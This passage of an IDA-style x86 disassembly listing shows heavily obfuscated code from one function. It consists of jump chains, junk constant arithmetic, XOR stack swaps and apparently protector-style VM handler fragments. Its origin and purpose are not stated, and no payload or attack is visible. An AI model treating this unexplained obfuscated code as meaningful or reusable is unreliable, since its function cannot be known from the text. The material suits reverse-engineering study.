4 add eax, 4 jmp loc_5896E0 ; --------------------------------------------------------------------------- loc_583943: ; CODE XREF: sub_57DD3A+3CA7j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_583948: ; CODE XREF: sub_57DD3A+B336j pop esi add edx, 3A954B0Bh add edx, 365F4F3h add edi, 199B2F6Fh jmp loc_586B4C ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push ebp mov ebp, 61AC513Dh inc ebp push edx mov edx, 0AEB4D478h sub ebp, 220247C4h add ebp, edx add ebp, 220247C4h jmp loc_583D39 ; --------------------------------------------------------------------------- loc_583983: ; CODE XREF: sub_57DD3A+DC5Bj inc ebp add ebp, 0FAFFFD81h sub ecx, ebp pop ebp xor ecx, [esp+66h+var_68+2] xor [esp+66h+var_68+2], ecx xor ecx, [esp+66h+var_68+2] mov esp, [esp+66h+var_68+2] mov word ptr [esp+66h+var_68+2], cx jmp loc_58A67A ; --------------------------------------------------------------------------- loc_5839A2: ; CODE XREF: sub_57DD3A+3EB6j mov ecx, 7A066512h and esi, ecx pop ecx jmp loc_585AD7 ; --------------------------------------------------------------------------- loc_5839AF: ; CODE XREF: sub_57DD3A+684Aj add esp, 4 push ecx mov ecx, esp jmp loc_58D4C6 ; --------------------------------------------------------------------------- loc_5839BA: ; CODE XREF: sub_57DD3A+5462j xchg ecx, ebx sub ebx, 6C015029h add edx, ebx pop ebx jmp loc_583D2C ; --------------------------------------------------------------------------- loc_5839CA: ; CODE XREF: sub_57DD3A+D829j push edx mov edx, esp push eax mov eax, 4 sub edx, 7BCE4798h add edx, eax add edx, 7BCE4798h jmp loc_58738C ; --------------------------------------------------------------------------- loc_5839E6: ; CODE XREF: sub_57DD3A+BA4Fj add [esp+0A4h+var_A4], 4 pop ebp push edi mov edi, 662F1648h not edi shl edi, 6 jmp loc_58D6E2 ; --------------------------------------------------------------------------- loc_5839FE: ; CODE XREF: sub_57DD3A+3DD2j mov [esp+6Ah+var_6C+2], edi mov edi, esp add edi, 4 push edx push 4 pop edx jmp loc_582E5A ; --------------------------------------------------------------------------- loc_583A15: ; CODE XREF: sub_57DD3A+64BFj mov ebx, esp jmp loc_588728 ; --------------------------------------------------------------------------- loc_583A1C: ; CODE XREF: sub_57DD3A+D1AFj pop eax push esi push esp pop esi add esi, 4 sub esp, 4 mov [esp+72h+var_74+2], edi jmp loc_583704 ; --------------------------------------------------------------------------- loc_583A31: ; CODE XREF: sub_57DD3A+FB52j pop edx jmp loc_58C641 ; --------------------------------------------------------------------------- loc_583A37: ; CODE XREF: sub_57DD3A+F70Aj mov dh, 0C4h sub dh, 68h sub ch, dh pop edx xor ch, 7Eh jmp loc_582674 ; --------------------------------------------------------------------------- loc_583A47: ; CODE XREF: sub_57DD3A+6273j pop esi sub esi, ebp mov ebp, [esp+66h+var_68+2] add esp, 4 push eax push 53AA62CDh pop eax sub esp, 4 mov [esp+6Ah+var_6C+2], edx push 785Fh mov [esp+6Eh+var_70+2], esi push eax xor [esp+72h+var_74+2], 37D47135h mov esi, [esp+72h+var_74+2] add esp, 4 xor esi, 37D47135h push ebx mov ebx, esi mov edx, ebx pop ebx pop esi mov ebx, edx mov edx, [esp+6Ah+var_6C+2] add esp, 4 mov eax, [esp+66h+var_68+2] add esp, 4 sub ebx, 53AA62CDh loc_583A9A: ; CODE XREF: sub_57DD3A+94B7j sub esp, 4 mov [esp+66h+var_68+2], eax jmp loc_58D0EF ; --------------------------------------------------------------------------- loc_583AA5: ; CODE XREF: sub_57DD3A+CC6Dj mov ebx, 0FEF5CBBh sub ebx, 63383A33h or ebx, 6E60088Fh jmp loc_586042 ; --------------------------------------------------------------------------- loc_583ABB: ; CODE XREF: sub_57DD3A+50F6j push ebx jmp loc_58BB24 ; --------------------------------------------------------------------------- loc_583AC1: ; CODE XREF: sub_57DD3A+9667j xchg edx, [esp+80h+var_80] jmp loc_589B9A ; --------------------------------------------------------------------------- loc_583AC9: ; CODE XREF: sub_57DD3A+7253j mov ebx, esp add ebx, 4 sub esp, 4 mov [esp+84h+var_84], ecx mov ecx, 4 add ebx, ecx mov ecx, [esp+84h+var_84] add esp, 4 xor ebx, [esp+80h+var_80] xor [esp+80h+var_80], ebx xor ebx, [esp+80h+var_80] mov esp, [esp+80h+var_80] push 6534h jmp loc_582F19 ; --------------------------------------------------------------------------- loc_583AFD: ; CODE XREF: sub_57DD3A+81C2j push ebx push [esp+88h+var_84] pop ebx jmp loc_5829EB ; --------------------------------------------------------------------------- loc_583B08: ; CODE XREF: sub_57DD3A+CEBEj pop edx add esp, 4 push 10D1h mov [esp+84h+var_84], esi push 38F02D05h pop esi push 22F4h mov [esp+88h+var_88], edx push 7CD25B9Ch jmp loc_585082 ; --------------------------------------------------------------------------- loc_583B2C: ; CODE XREF: sub_57DD3A+1015Cj add ebp, 4 jmp loc_5834B0 ; --------------------------------------------------------------------------- loc_583B37: ; CODE XREF: sub_57DD3A+54A7j pop ebx xchg eax, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] jmp loc_58B3F4 ; --------------------------------------------------------------------------- loc_583B43: ; CODE XREF: sub_57DD3A+C513j xor [esp+7Eh+var_80+2], ebp jmp loc_587E73 ; --------------------------------------------------------------------------- loc_583B4B: ; CODE XREF: sub_57DD3A+5A7Bj mov eax, 619E46E9h xor eax, 4B5007B8h or eax, 6A276BB6h jmp loc_58AE41 ; --------------------------------------------------------------------------- loc_583B5F: ; CODE XREF: sub_57DD3A+5EC7j mov al, 6Ch push eax mov ah, 0F8h mov bl, 0Bh xor bl, ah pop eax xor bl, al pop eax mov ch, 4Ah jmp loc_587ED3 ; --------------------------------------------------------------------------- loc_583B73: ; CODE XREF: sub_57DD3A+72F6j mov edx, [esp+0B6h+var_B8+2] sub esp, 4 mov [esp+0BAh+var_BC+2], ecx mov ecx, esp add ecx, 4 push ebp jmp loc_58B73E ; --------------------------------------------------------------------------- loc_583B8A: ; CODE XREF: sub_57DD3A+8D63j push ecx mov ecx, 662330ADh sub ecx, 57A47B46h xor ecx, 1497338Bh jmp loc_587B1F ; --------------------------------------------------------------------------- loc_583BA1: ; CODE XREF: sub_57DD3A+D269j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0C2h+var_C4+2] pop esp pop ebx and ecx, edx mov edx, [esp+0BAh+var_BC+2] add esp, 4 shr ecx, 0 jmp loc_58CB8A ; --------------------------------------------------------------------------- loc_583BC5: ; CODE XREF: sub_57DD3A+4C05j mov esi, [esp+72h+var_74+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+76h+var_78+2] pop esp push ebp jmp loc_584B74 ; --------------------------------------------------------------------------- loc_583BDE: ; CODE XREF: sub_57DD3A+96DAj sub edx, 667725F2h jmp loc_58D773 ; --------------------------------------------------------------------------- loc_583BE9: ; CODE XREF: sub_57DD3A+60F3j and eax, 7E9C32AEh add eax, 42DB19A6h jmp loc_584A6A ; --------------------------------------------------------------------------- loc_583BF8: ; CODE XREF: sub_57DD3A+B203j sub edx, ebx pop ebx jmp loc_58723C ; --------------------------------------------------------------------------- loc_583C00: ; CODE XREF: sub_57DD3A+E4AFj push eax jmp loc_583B5F ; --------------------------------------------------------------------------- push 5676h mov [esp+7Ah+var_7C+2], edx push 1 pop edx or [edi+1Ch], edx jmp loc_58571A ; --------------------------------------------------------------------------- loc_583C1C: ; CODE XREF: sub_57DD3A+7572j add eax, ebp jmp loc_58990B ; --------------------------------------------------------------------------- loc_583C23: ; CODE XREF: sub_57DD3A+EC72j push ecx push 22EE4C31h pop ecx jmp loc_588E33 ; --------------------------------------------------------------------------- loc_583C2F: ; CODE XREF: sub_57DD3A+6A8Fj add ebp, 175F5BF6h add esi, ebp pop ebp jmp loc_587202 ; --------------------------------------------------------------------------- loc_583C3D: ; CODE XREF: sub_57DD3A+EB13j movzx cx, ah push edx sub esp, 4 mov [esp+82h+var_84+2], esp jmp loc_5893B0 ; --------------------------------------------------------------------------- loc_583C4D: ; CODE XREF: sub_57DD3A+C2D6j pop esp mov [esp+7Eh+var_80+2], ebp jmp loc_58AE4D ; --------------------------------------------------------------------------- loc_583C56: ; CODE XREF: sub_57DD3A+DC4Dj sub edi, 4 jmp loc_58CFD1 ; --------------------------------------------------------------------------- loc_583C5E: ; CODE XREF: sub_57DD3A+E585j push 57C8h mov [esp+82h+var_84+2], eax jmp loc_58C7FF ; --------------------------------------------------------------------------- loc_583C6B: ; CODE XREF: sub_57DD3A+C6EDj mov dh, ch pop ecx push 0 jmp loc_5882D3 ; --------------------------------------------------------------------------- loc_583C78: ; CODE XREF: sub_57DD3A+BE4Fj inc ch and ch, 9Dh jmp loc_58AF24 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp+80h+var_80], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_583C92: ; CODE XREF: sub_57DD3A+945Aj not esi and esi, 2FC20282h sub esi, 25BFFFFEh add edi, esi mov esi, [esp+84h+var_84] push edx jmp loc_5886D4 ; --------------------------------------------------------------------------- loc_583CAB: ; CODE XREF: sub_57DD3A+CBE6j mov ecx, esp push eax mov eax, 4 jmp loc_5840DD ; --------------------------------------------------------------------------- loc_583CB8: ; CODE XREF: sub_57DD3A+7A31j add ebp, 4 push ebp push [esp+90h+var_8C] jmp loc_58B99A ; --------------------------------------------------------------------------- loc_583CC8: ; CODE XREF: sub_57DD3A+4AE2j push [esp+0BAh+var_B8+2] pop ebp pop [esp+0BAh+var_BC+2] pop esp jmp loc_581FCB ; --------------------------------------------------------------------------- loc_583CD6: ; CODE XREF: sub_57DD3A+CB43j pop esi add esp, 4 push ebp mov ebp, 1F505153h shr ebp, 6 add ebp, 3F622E0Ah or ebp, 1ECA7EB4h push ebx mov ebx, 3A102B11h sub ebx, 0C4FBFE56h xor ebp, ebx jmp loc_58762B ; --------------------------------------------------------------------------- loc_583D05: ; CODE XREF: sub_57DD3A+46BAj mov eax, [esp+8Ah+var_8C+2] add esp, 4 add bl, al push ecx push ebx push edx mov dl, 77h mov bh, dl pop edx mov ch, bh pop ebx add ch, 0F6h push edx push ebx mov bl, 14h sub bl, 0B2h mov dl, bl mov ebx, [esp+92h+var_94+2] jmp loc_58B949 ; --------------------------------------------------------------------------- loc_583D2C: ; CODE XREF: sub_57DD3A+5C8Bj push eax mov eax, 3D0B5ECBh xor edx, eax jmp loc_58BB39 ; --------------------------------------------------------------------------- loc_583D39: ; CODE XREF: sub_57DD3A+5C44j pop edx sub [esp+66h+var_64+2], ebp mov ebp, [esp+66h+var_68+2] add esp, 4 mov ecx, [esp+62h+var_64+2] add esp, 4 push ebp push eax mov eax, 6973735Ch mov ebp, eax mov eax, [esp+66h+var_68+2] push esi mov esi, esp add esi, 4 push edi mov edi, 4 add esi, edi pop edi jmp loc_58BFCD ; --------------------------------------------------------------------------- loc_583D70: ; CODE XREF: sub_57DD3A+9508j sub edx, ebp sub edx, 2FBE53FCh jmp loc_58C588 ; --------------------------------------------------------------------------- loc_583D7D: ; CODE XREF: sub_57DD3A+B7EAj mov ebp, edx mov edx, [esp+6Ah+var_6C+2] add esp, 4 and ecx, ebp pop ebp shr ecx, 0Ah push 4CF1h mov [esp+66h+var_68+2], edi mov edi, ebx jmp loc_58AA7B ; --------------------------------------------------------------------------- loc_583D9D: ; CODE XREF: sub_57DD3A+E9E2j pop edi xor edx, [esp+62h+var_64+2] xor [esp+62h+var_64+2], edx xor edx, [esp+62h+var_64+2] mov esp, [esp+62h+var_64+2] imul cx push small 2399h mov word ptr [esp+64h+var_64], dx push ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_583DBD: ; CODE XREF: sub_57DD3A+9D7Ej add eax, 1AC51601h pop edx jmp loc_581DB0 ; --------------------------------------------------------------------------- loc_583DC8: ; CODE XREF: sub_57DD3A+578Aj push [esp+0D4h+var_D4] jmp loc_589656 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0D8h+var_D8] sub esp, 4 mov [esp+0DCh+var_DC], ebp mov ebp, esp add ebp, 4 push esi mov esi, 73D709Bh push edx jmp loc_585846 ; --------------------------------------------------------------------------- loc_583DEE: ; CODE XREF: sub_57DD3A+ACEDj sub edx, edi mov edi, [esp+0E4h+var_E4] jmp loc_589D8C ; --------------------------------------------------------------------------- loc_583DF8: ; CODE XREF: sub_57DD3A+101D6j mov bh, 0F3h or bh, 24h push edx jmp loc_581B65 ; --------------------------------------------------------------------------- loc_583E03: ; CODE XREF: sub_57DD3A+E554j pop edx sub esp, 2 mov word ptr [esp+0E8h+var_E8], bx mov bh, 4Ah sub al, 64h jmp loc_58507C ; --------------------------------------------------------------------------- loc_583E17: ; CODE XREF: sub_57DD3A+55E5j add ebx, 1284BCBh sub ebx, edx sub ebx, 1284BCBh jmp loc_58CDEB ; --------------------------------------------------------------------------- loc_583E2A: ; CODE XREF: sub_57DD3A+E5E0j shr eax, 6 jmp loc_583BE9 ; --------------------------------------------------------------------------- loc_583E32: ; CODE XREF: sub_57DD3A+A0A4j add ebp, 4 jmp loc_586FA2 ; --------------------------------------------------------------------------- loc_583E3D: ; CODE XREF: sub_57DD3A+50C7j pop edx not bl push ecx jmp loc_58CCCB ; --------------------------------------------------------------------------- loc_583E46: ; CODE XREF: sub_57DD3A+DE4Bj push edi mov edi, 4 add ebp, edi jmp loc_58A21D ; --------------------------------------------------------------------------- loc_583E53: ; CODE XREF: sub_57DD3A+8FB0j mov ebp, 1F024150h push ebp mov ebp, 3B495332h jmp loc_58D766 ; --------------------------------------------------------------------------- loc_583E63: ; CODE XREF: sub_57DD3A+EF12j not ebp dec ebp push ebx mov ebx, 606C3FC7h sub ebx, 9589D00Dh add ebp, 6AEF4D39h add ebp, ebx sub ebp, 6AEF4D39h pop ebx jmp loc_5821A7 ; --------------------------------------------------------------------------- loc_583E86: ; CODE XREF: sub_57DD3A+E9A4j push ebp mov ebp, 79325844h push edx mov edx, 44D01C1Ah not edx not edx jmp loc_58A54F ; --------------------------------------------------------------------------- loc_583E9B: ; CODE XREF: sub_57DD3A+F9ABj and edi, 66330DC9h sub edi, 612FFFCh add ebp, edi pop edi push eax jmp loc_58DDA3 ; --------------------------------------------------------------------------- loc_583EB0: ; CODE XREF: sub_57DD3A+9F93j sub esi, 0D1B0EADh xor esi, 6F034CF6h sub edi, 1B1E7A48h add edi, esi add edi, 1B1E7A48h pop esi push ebp mov ebp, 763B1302h neg ebp neg ebp or ebp, 4423F8Ch shr ebp, 6 sub ebp, 72E86AA9h sub ebp, 8EF18253h add edi, 644616D3h jmp loc_58C000 ; --------------------------------------------------------------------------- loc_583EF5: ; CODE XREF: sub_57DD3A+FE4Ej shr esi, 3 shr esi, 6 shr esi, 8 push eax mov eax, 6BF201F1h shl eax, 4 inc eax jmp loc_584419 ; --------------------------------------------------------------------------- push eax push edx mov edx, 625F00B4h jmp loc_58BAFA ; --------------------------------------------------------------------------- loc_583F19: ; CODE XREF: sub_57DD3A+EA7Dj mov ebx, [esp+0B4h+var_B4] add esp, 4 xor ebx, 93E59831h sub eax, ebx pop ebx add eax, ebx push 0F95h mov [esp+0B0h+var_B0], edi jmp loc_58CC23 ; --------------------------------------------------------------------------- loc_583F3A: ; CODE XREF: sub_57DD3A+B8A3j add ebx, 4 xor ebx, [esp+0B0h+var_B0] xor [esp+0B0h+var_B0], ebx jmp loc_5846C1 ; --------------------------------------------------------------------------- mov ecx, [esp+0B0h+var_B0] push 626Ch jmp loc_58C6C8 ; --------------------------------------------------------------------------- loc_583F55: ; CODE XREF: sub_57DD3A+7925j xor eax, [esp+0B4h+var_B4] mov esp, [esp+0B4h+var_B4] shr ecx, 6 jmp loc_582DB9 ; --------------------------------------------------------------------------- loc_583F63: ; CODE XREF: sub_57DD3A+8C4Ej xor edx, [esp+0B4h+var_B4] mov esp, [esp+0B4h+var_B4] add esp, 4 sub [esp+0B0h+var_B0], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_583F75: ; CODE XREF: sub_57DD3A+B6A8j push esp pop ebp push ebx push edi mov edi, 13774874h jmp loc_588557 ; --------------------------------------------------------------------------- loc_583F83: ; CODE XREF: sub_57DD3A+BEF2j add esp, 4 jmp loc_58B771 ; --------------------------------------------------------------------------- loc_583F8B: ; CODE XREF: sub_57DD3A+CFEAj sub esp, 4 mov [esp+0BCh+var_BC], esi mov esi, esp push ebx jmp loc_5892C1 ; --------------------------------------------------------------------------- loc_583F9C: ; CODE XREF: sub_57DD3A+EC0Aj pop esi shr esi, 3 shl esi, 3 not esi sub esi, 0FF92628Dh xor ebp, esi jmp loc_583A47 ; --------------------------------------------------------------------------- loc_583FB2: ; CODE XREF: sub_57DD3A+E4A2j pop [esp+0BCh+var_BC] pop esp push ecx mov ecx, 0FA5E28h add ecx, 1 shr ecx, 5 sub ecx, 0D845CDD6h xor eax, ecx push [esp+0B8h+var_B8] mov ecx, [esp+0BCh+var_BC] add esp, 4 add esp, 4 push dword ptr [edi+eax*4] add [esp+0B8h+var_B8], 13454081h jmp loc_58227A ; --------------------------------------------------------------------------- loc_583FE5: ; CODE XREF: sub_57DD3A+D8D5j pop edx add edx, edi jmp loc_589067 ; --------------------------------------------------------------------------- loc_583FED: ; CODE XREF: sub_57DD3A+860Bj pop ebx xor edx, 7176452Dh jmp loc_5840CA ; --------------------------------------------------------------------------- loc_583FF9: ; CODE XREF: sub_57DD3A+77DEj xor ebp, [esp+0B0h+var_B0] pop esp push ebx push esi mov esi, 56294CE2h push ebp jmp loc_58D165 ; --------------------------------------------------------------------------- loc_58400A: ; CODE XREF: sub_57DD3A+CA7Ej shl bl, 1 xor bl, 90h jmp loc_58D432 ; --------------------------------------------------------------------------- loc_584014: ; CODE XREF: sub_57DD3A+F53Fj xor ebp, [esp+0B8h+var_B8] xor [esp+0B8h+var_B8], ebp xor ebp, [esp+0B8h+var_B8] pop esp push ebp mov ebp, 49714625h jmp loc_583841 ; --------------------------------------------------------------------------- loc_584029: ; CODE XREF: sub_57DD3A+732Aj xor ebp, 59562F59h sub ebp, 0D316A14Fh sub ebx, 97337FFh sub ebx, 6E8820CDh add ebx, ebp add ebx, 6E8820CDh push esi mov esi, 61094C80h neg esi jmp loc_588BA1 ; --------------------------------------------------------------------------- loc_584056: ; CODE XREF: sub_57DD3A+B507j mov dh, 3Bh jmp loc_58300E ; --------------------------------------------------------------------------- loc_58405D: ; CODE XREF: sub_57DD3A+D878j pop esi pop [esp+0B8h+var_B8] pop esp push 3D6Ch jmp loc_585AED ; --------------------------------------------------------------------------- loc_58406C: ; CODE XREF: sub_57DD3A+8796j pop esi pop [esp+0B0h+var_B0] mov esp, [esp+0ACh+var_AC] mov word ptr [esp+0ACh+var_AC], dx jmp loc_58A571 ; --------------------------------------------------------------------------- loc_58407C: ; CODE XREF: sub_57DD3A+4251j add bh, 9Fh push ecx mov ch, bh mov dl, ch pop ecx mov ebx, [esp+7Eh+var_80+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+82h+var_84+2] pop esp shr dl, 3 push ecx mov ecx, esp push edi mov edi, 4B422E36h and edi, 43946D42h jmp loc_58778A ; --------------------------------------------------------------------------- loc_5840B2: ; CODE XREF: sub_57DD3A+7B07j xchg edx, [esp+86h+var_88+2] mov esp, [esp+86h+var_88+2] shl [esp+86h+var_88+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5840C1: ; CODE XREF: sub_57DD3A+7609j pop ebp add ebx, esi pop esi jmp loc_582A72 ; --------------------------------------------------------------------------- loc_5840CA: ; CODE XREF: sub_57DD3A+62BAj shl edx, 7 push edx not [esp+0B4h+var_B4] pop edx sub esp, 4 mov [esp+0B4h+var_B4], edi jmp loc_588F82 ; --------------------------------------------------------------------------- loc_5840DD: ; CODE XREF: sub_57DD3A+5F79j add ecx, eax pop eax push edx mov edx, 5C283F62h shl edx, 6 xor edx, 2D493419h jmp loc_584170 ; --------------------------------------------------------------------------- loc_5840F4: ; CODE XREF: sub_57DD3A+FBC1j pop eax xor bh, ch pop ecx shr bh, 3 not bh push eax mov ah, 0A6h shl ah, 6 neg ah jmp loc_58AD49 ; --------------------------------------------------------------------------- loc_58410A: ; CODE XREF: sub_57DD3A+A105j pop edi xchg eax, [esp+84h+var_84] jmp loc_588F68 ; --------------------------------------------------------------------------- loc_584113: ; CODE XREF: sub_57DD3A+B7D9j push ebx mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi add ebx, 2 xchg ebx, [esp+88h+var_88] pop esp movzx eax, ax push 4092h mov [esp+88h+var_88], eax push 5973h mov [esp+8Ch+var_8C], esp add [esp+8Ch+var_8C], 4 jmp loc_589C31 ; --------------------------------------------------------------------------- loc_584148: ; CODE XREF: sub_57DD3A+CB55j push edi jmp loc_58BA3E ; --------------------------------------------------------------------------- loc_58414E: ; CODE XREF: sub_57DD3A+E80Bj push [esp+90h+var_8C] pop esi pop [esp+90h+var_90] pop esp jmp loc_58A079 ; --------------------------------------------------------------------------- loc_58415C: ; CODE XREF: sub_57DD3A+9D2Ej pop edi dec edi xchg edx, edi xchg ecx, edx not ecx xchg ecx, edx xchg edx, edi sub esp, 4 jmp loc_585C94 ; --------------------------------------------------------------------------- loc_584170: ; CODE XREF: sub_57DD3A+63B5j and edx, 5290555Dh shl edx, 6 push edi push 557E7F50h pop edi inc edi jmp loc_588EDC ; --------------------------------------------------------------------------- loc_584186: ; CODE XREF: sub_57DD3A+EB1Fj add ebx, 4 push 1009h mov [esp+94h+var_94], ecx jmp loc_5842D6 ; --------------------------------------------------------------------------- loc_584199: ; CODE XREF: sub_57DD3A+EAD2j add edx, eax mov [edx], bh jmp loc_584A36 ; --------------------------------------------------------------------------- loc_5841A2: ; CODE XREF: sub_57DD3A+CF95j xor esi, [esp+94h+var_94] xor [esp+94h+var_94], esi xor esi, [esp+94h+var_94] pop esp sub esi, 4 xor esi, [esp+90h+var_90] xor [esp+90h+var_90], esi xor esi, [esp+90h+var_90] mov esp, [esp+90h+var_90] mov [esp+90h+var_90], ecx jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5841C3: ; CODE XREF: sub_57DD3A+A21Aj push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp+94h+var_94] jmp loc_582399 ; --------------------------------------------------------------------------- loc_5841DD: ; CODE XREF: sub_57DD3A+6573j pop esi jmp loc_58B517 ; --------------------------------------------------------------------------- loc_5841E3: ; CODE XREF: sub_57DD3A+3D84j mov eax, [esp+62h+var_64+2] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+66h+var_68+2] pop esp mov [esp+62h+var_64+2], ebx jmp loc_583A15 ; --------------------------------------------------------------------------- loc_5841FE: ; CODE XREF: sub_57DD3A+8E1Cj push edi push eax mov eax, 2 jmp loc_581B11 ; --------------------------------------------------------------------------- loc_58420A: ; CODE XREF: sub_57DD3A+EF94j mov ch, dl pop edx mov ah, ch mov ecx, [esp+66h+var_68+2] jmp loc_586A76 ; --------------------------------------------------------------------------- loc_584217: ; CODE XREF: sub_57DD3A+A079j rol byte ptr [esp+66h+var_68+2], cl pushf jmp loc_58DD34 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp+68h+var_68], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58422F: ; CODE XREF: sub_57DD3A+5B76j and eax, ebx pop ebx shr eax, 8 xor eax, ecx push edx push esp jmp loc_58BD89 ; --------------------------------------------------------------------------- loc_58423E: ; CODE XREF: sub_57DD3A+A837j sub ebp, 0C8A365Fh add ebp, esi add ebp, 0C8A365Fh pop esi push ebp push [esp+92h+var_90+2] pop ebp pop [esp+92h+var_94+2] pop esp add esp, 4 push [esp+86h+var_88+2] pop ecx push 5701h mov [esp+8Ah+var_8C+2], eax push esp pop eax sub esp, 4 mov [esp+8Eh+var_90+2], ecx push edx mov edx, 4 mov ecx, edx pop edx add eax, ecx push [esp+8Eh+var_90+2] pop ecx add esp, 4 push ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_58B393 ; --------------------------------------------------------------------------- loc_584294: ; CODE XREF: sub_57DD3A+C766j xor [esp+8Ah+var_8C+2], edx xor edx, [esp+8Ah+var_8C+2] mov esp, [esp+8Ah+var_8C+2] mov [esp+8Ah+var_8C+2], ecx jmp loc_58DAD8 ; --------------------------------------------------------------------------- loc_5842A5: ; CODE XREF: sub_57DD3A+FE3Cj mov [esp+8Ah+var_8C+2], esi push 69F240DEh jmp loc_5841DD ; --------------------------------------------------------------------------- loc_5842B2: ; CODE XREF: sub_57DD3A+FD99j mov ecx, 0A3AFA2FBh add ecx, edi pop edi jmp loc_5893D0 ; --------------------------------------------------------------------------- loc_5842BF: ; CODE XREF: sub_57DD3A+9C78j mov ebp, [esp+8Ah+var_8C+2] add esp, 4 push edx mov edx, 4 add ebp, edx pop edx jmp loc_586CAD ; --------------------------------------------------------------------------- loc_5842D6: ; CODE XREF: sub_57DD3A+645Aj push ebp push 2 pop ebp push ebp pop ecx pop ebp sub ebx, ecx push [esp+94h+var_94] jmp loc_58C399 ; --------------------------------------------------------------------------- loc_5842EA: ; CODE XREF: sub_57DD3A+E875j sub edx, 664840D1h add edx, 1EB83667h mov esi, [esp+98h+var_98] add esp, 4 push edi mov edi, 2 add edx, edi mov edi, [esp+98h+var_98] jmp loc_58B14F ; --------------------------------------------------------------------------- loc_58430F: ; CODE XREF: sub_57DD3A+F650j mov [esp+98h+var_98], eax push edx mov edx, 16E8755Ah mov eax, edx pop edx mov edx, 0FFB6BC35h add edx, 638B7C31h jmp loc_58C8E7 ; --------------------------------------------------------------------------- loc_58432B: ; CODE XREF: sub_57DD3A+847Aj or edi, 37C5C8Ch push ebx mov ebx, 27FC5DAAh xor edi, ebx mov ebx, [esp+9Ch+var_9C] add esp, 4 mov ecx, edi jmp loc_58D49F ; --------------------------------------------------------------------------- loc_584349: ; CODE XREF: sub_57DD3A+DE00j or [edi+20h], edx pop edx sub dword ptr [edi+20h], 65A4158Ah push ecx mov ecx, 4210F84h add ecx, 0FBDEF09Ch jmp loc_58CC0E ; --------------------------------------------------------------------------- loc_584365: ; CODE XREF: sub_57DD3A+C87Bj mov ebx, [esp+98h+var_98] push eax push 7E7Fh mov [esp+0A0h+var_A0], esp add [esp+0A0h+var_A0], 4 pop eax jmp loc_585627 ; --------------------------------------------------------------------------- loc_58437E: ; CODE XREF: sub_57DD3A+D97Dj sub esp, 4 mov [esp+0A0h+var_A0], ecx mov cl, bl mov dh, cl pop ecx jmp loc_586C48 ; --------------------------------------------------------------------------- loc_584391: ; CODE XREF: sub_57DD3A+FEDAj mov esi, [esp+9Ch+var_9C] jmp loc_58B015 ; --------------------------------------------------------------------------- loc_584399: ; CODE XREF: sub_57DD3A+4F1Ej add eax, 12315C4Ch jmp loc_58BBB6 ; --------------------------------------------------------------------------- loc_5843A3: ; CODE XREF: sub_57DD3A+6DB1j pop ebx jmp loc_58D02D ; --------------------------------------------------------------------------- loc_5843A9: ; CODE XREF: sub_57DD3A+4ADCj xor esi, 51274D5h or esi, 56A82B21h jmp loc_58DCB7 ; --------------------------------------------------------------------------- loc_5843BA: ; CODE XREF: sub_57DD3A+AD13j sub ecx, ebp jmp loc_58D9AF ; --------------------------------------------------------------------------- loc_5843C1: ; CODE XREF: sub_57DD3A+D15Ej add eax, 4 push edx push eax mov eax, 6C7C5A55h push ebp mov ebp, 5B381CE6h jmp loc_584696 ; --------------------------------------------------------------------------- loc_5843D8: ; CODE XREF: sub_57DD3A+97BEj mov [esp+0C2h+var_C4+2], ecx push ax mov ah, 77h mov ch, ah pop ax xor dl, ch mov ecx, [esp+0C2h+var_C4+2] add esp, 4 push ebx push edx mov dh, 35h jmp loc_58B4A1 ; --------------------------------------------------------------------------- loc_5843F4: ; CODE XREF: sub_57DD3A+7966j pop ebp add ebp, 649C4BA7h add ebp, eax sub ebp, 649C4BA7h pop eax xchg ebp, [esp+0BEh+var_C0+2] pop esp movsx ecx, ax push edi mov edi, esp push esi mov esi, 4 jmp loc_5888A1 ; --------------------------------------------------------------------------- loc_584419: ; CODE XREF: sub_57DD3A+61CEj xor eax, 6E61EA7h jmp loc_582FDD ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0ACh+var_AC] push ebp mov ebp, esp push ecx mov ecx, 7B6F4E7Dh push edi mov edi, 4FE53084h or ecx, edi pop edi dec ecx push ecx not [esp+0B8h+var_B8] pop ecx sub ecx, 67F86386h push eax mov eax, 632B7855h sub ecx, eax jmp loc_58518E ; --------------------------------------------------------------------------- loc_584452: ; CODE XREF: sub_57DD3A+9931j sub [esp+0B8h+var_B8], edx pop edx push ecx mov ecx, 500B0113h add edx, 61D04E4Eh sub edx, ecx sub edx, 61D04E4Eh pop ecx add edx, 0DD9BBDD4h sub ecx, edx jmp loc_582E72 ; --------------------------------------------------------------------------- loc_584478: ; CODE XREF: sub_57DD3A+735Bj sub edx, 2 sub esp, 4 jmp loc_584E58 ; --------------------------------------------------------------------------- loc_584483: ; CODE XREF: sub_57DD3A+B6F8j mov [esp+0B8h+var_B8], ebp mov ebp, 7C8662FAh push edx jmp loc_5833C9 ; --------------------------------------------------------------------------- loc_584491: ; CODE XREF: sub_57DD3A+4FABj pop ebp shr ebx, 3 push eax mov eax, 0FFFFFFFFh add ebx, eax pop eax not ebx push ebp jmp loc_58278E ; --------------------------------------------------------------------------- loc_5844A6: ; CODE XREF: sub_57DD3A+4E3Ej sub esp, 4 mov [esp+58h+var_58], ecx mov ch, 0E0h neg ch shr ch, 7 or ch, 89h shl ch, 8 xor ch, 97h sub bl, ch pop ecx jmp loc_58959F ; --------------------------------------------------------------------------- loc_5844C4: ; CODE XREF: sub_57DD3A+416Aj xchg ebp, 